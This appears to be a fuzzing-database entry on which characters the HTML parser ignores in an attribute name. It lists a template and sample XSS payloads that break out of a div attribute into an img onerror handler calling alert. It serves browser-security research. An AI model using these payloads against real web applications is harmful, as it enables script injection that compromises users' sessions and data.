Characters ignored in an attribute name

This vector shows which characters when used as an attribute name are ignored by the HTML parser and allow the image to execute.

Created by: hackvertor

Created on: Tuesday, May 28, 2024 at 7:38:17 PM

Updated on: Wednesday, November 20, 2024 at 8:38:18 PM

Vector type: XSS

Vector charset: UTF-8

Template used:
<div $[chr]="><img src=x:x onerror=log($[i])>"></div>

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Sample payloads

<div ="><img src=x:x onerror=alert(9)>"></div>

<div 
="><img src=x:x onerror=alert(10)>"></div>

<div ="><img src=x:x onerror=alert(12)>"></div>

<div 
="><img src=x:x onerror=alert(13)>"></div>

<div ="><img src=x:x onerror=alert(32)>"></div><div /="><img src=x:x onerror=alert(47)>"></div><div >="><img src=x:x onerror=alert(62)>"></div>